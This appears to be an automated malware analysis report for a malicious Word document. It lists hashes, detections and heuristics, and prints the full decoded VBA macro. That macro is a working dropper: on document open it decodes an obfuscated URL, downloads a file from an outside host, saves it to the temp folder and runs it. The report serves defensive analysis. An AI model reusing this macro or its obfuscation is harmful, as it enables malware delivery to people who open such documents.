Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ba933081ff6d3cc1…

MALICIOUS

Office (OLE)

37.0 KB Created: 2017-10-16 23:08:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 30b35d76a6de05b206a4a5d553255e2d SHA-1: b1894071530764c5dc35d2bb8a23313a076cdbec SHA-256: ba933081ff6d3cc17e8e18d702e05b62e902c83cd9109a68fc47e93d4a37decc
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a Microsoft Office document containing VBA macros. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA code downloads a file from an HTTP URL and saves it to disk, which is then likely executed. The 'Document_Open' macro and 'CreateObject' calls further suggest an automated execution flow designed to download and run a secondary payload. The embedded URL, though benign in reputation, is referenced by the macro, indicating its role in the download process.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    UYSJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOP = XGCTLMWKNTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYD.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set XGCTLMWKNTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYD = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    NTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYDJXHWJRFSXUEVHY = Environ("tmp") + MNSEUJRHKUYSJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYF("haV^TWae:q„q")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4552 bytes
SHA-256: 3bcdd1035c5683747ba1cbfe1568a44978d1dcdf4acbf6ed1456314ca81f689a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Function MNSEUJRHKUYSJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYF(ByVal s As String)
            Dim EHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNSEUJRHKUYSJGHGIBXBQEWE As String
Dim GHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOPLXGCTLMWKNTYJQKDQCBPGOI As String
Dim SVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNSEUJRHKUYSJGHGIBXBQEWEGHDPETMJEOJFL As Integer
Dim KWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYDJXHWJRFSXUEVHYEHFLTBFFKVTIJYCMQLBXYXZ As Integer
KWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYDJXHWJRFSXUEVHYEHFLTBFFKVTIJYCMQLBXYXZ = 12
        For SVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNSEUJRHKUYSJGHGIBXBQEWEGHDPETMJEOJFL = 1 To Len(s)
            EHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNSEUJRHKUYSJGHGIBXBQEWE = Mid(s, SVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNSEUJRHKUYSJGHGIBXBQEWEGHDPETMJEOJFL, 1)
            EHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNSEUJRHKUYSJGHGIBXBQEWE = Chr(Asc(EHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNSEUJRHKUYSJGHGIBXBQEWE) - KWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYDJXHWJRFSXUEVHYEHFLTBFFKVTIJYCMQLBXYXZ)
            GHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOPLXGCTLMWKNTYJQKDQCBPGOI = GHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOPLXGCTLMWKNTYJQKDQCBPGOI & EHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNSEUJRHKUYSJGHGIBXBQEWE
        Next
        MNSEUJRHKUYSJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYF = GHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOPLXGCTLMWKNTYJQKDQCBPGOI
    End Function

Private Sub Document_Open()
Dim XGCTLMWKNTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYD
Set XGCTLMWKNTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYD = CreateObject("microsoft.xmlhttp")
Dim NTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYDJXHWJRFSXUEVHY
Dim SJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOPLXGCTLMWKN
Set SJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOPLXGCTLMWKN = CreateObject("Shell.Application")

NTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYDJXHWJRFSXUEVHY = Environ("tmp") + MNSEUJRHKUYSJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYF("haV^TWae:q„q")
XGCTLMWKNTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYD.Open "GET", MNSEUJRHKUYSJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYF("t€€|F;;bYsT V†z_ZTV]ny~vZ^ SxW~:…qtmmym~wq€:o{y:y…;YQQ:q„q"), False
XGCTLMWKNTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYD.send
UYSJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOP = XGCTLMWKNTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYD.responseBody
If XGCTLMWKNTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYD.Status = 200 Then
Set WJRFSXUEVHYEHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNS = CreateObject("adodb.stream")
WJRFSXUEVHYEHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNS.Open
WJRFSXUEVHYEHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNS.Type = 1
WJRFSXUEVHYEHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNS.Write UYSJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOP
WJRFSXUEVHYEHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNS.SaveToFile NTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYDJXHWJRFSXUEVHY, 2
WJRFSXUEVHYEHFLTBFFKVTIJYCMQLBXYXZSVZIVUDXZUIVLKCVGBWEIZZTTHLRGPFRZGZYVFEPHMPNTCCMNS.Close
End If
SJGHGIBXBQEWEGHDPETMJEOJFLQIICUITZHXGZCOIHENMXIUXVBDKUVBFDRZJSDZUKOPOQJGJYFEMOPLXGCTLMWKN.Open (NTYJQKDQCBPGOIKWKPMVTFQDYWDLSDWCNLZBQBEIDSWWWYKNRHNMUWXTGOKCTUFSVCBRYLLYDJXHWJRFSXUEVHY)


End Sub

Attribute VB_Name = "NewMacros"
Sub doc()
'
' doc Macro
'
'

End Sub

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